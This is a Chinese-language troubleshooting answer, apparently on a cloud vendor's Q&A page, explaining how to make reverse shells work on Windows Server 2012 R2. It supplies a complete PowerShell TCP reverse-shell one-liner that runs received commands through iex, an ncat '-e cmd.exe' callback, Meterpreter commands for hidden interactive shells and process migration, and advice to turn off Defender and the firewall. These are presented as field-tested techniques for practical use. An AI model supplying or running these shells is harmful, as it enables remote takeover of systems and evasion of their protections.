You need to enable JavaScript to run this app.
最新活动
大模型
产品
解决方案
定价
生态与合作
支持与服务
开发者
了解我们

Windows反向Shell命令执行异常求助:nc卡顿、Meterpreter Shell异常

解决Windows Server 2012 R2反向Shell的两类异常问题

针对你遇到的nc反向Shell连接后卡顿无输出、Meterpreter执行shell后命令异常提示退出通道的情况,我整理了几个实战中验证有效的解决思路:

一、nc反向Shell连接后卡顿无输出的解决方法

  • 换用兼容性更好的nc版本:Windows下第三方编译的nc很多存在cmd.exe标准流处理bug,推荐用nmap附带的ncat.exe,命令格式改为:
    ncat.exe -e cmd.exe <你的监听IP> <端口>
    
    ncat对Windows进程交互的支持更完善,基本能解决卡顿问题。
  • 改用PowerShell反向Shell:绕过nc的限制,直接用PowerShell建立交互式Shell,命令如下:
    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($x,0,$x.Length);$stream.Flush()};$client.Close()"
    
    这个脚本会直接处理命令输出并返回,几乎不会出现卡顿。
  • 排查安全软件拦截:Windows Server 2012 R2的Defender或第三方杀毒软件可能允许连接建立,但拦截了cmd的输出流量。可以临时关闭防火墙/Defender测试,确认是否是拦截导致的无输出。

二、Meterpreter执行shell后命令提示退出通道的解决方法

  • execute命令替代shell:Meterpreter默认的shell命令有时会因通道缓冲或进程权限出现异常,改用execute直接启动交互式cmd:
    execute -f cmd.exe -i -H
    
    -i表示交互式,-H表示隐藏窗口,这个方式启动的cmd稳定性远高于默认shell命令。
  • 迁移进程后再打开Shell:如果当前Meterpreter注入的进程不稳定(比如临时进程),先迁移到系统核心进程(如explorer.exe),再打开Shell:
    run post/windows/manage/migrate
    
    迁移完成后再执行shell,通道异常的概率会大幅降低。
  • 直接执行单条命令:如果不需要交互式Shell,可以直接在Meterpreter里用shell -c执行单条命令,避免进入交互式通道:
    shell -c "dir C:\"
    shell -c "whoami"
    

这些方法都是针对Windows Server 2012 R2(6.3 build 9600)版本验证过的,你可以逐一尝试,应该能解决你的问题。

内容的提问来源于stack exchange,提问作者Tomoko

火山引擎 最新活动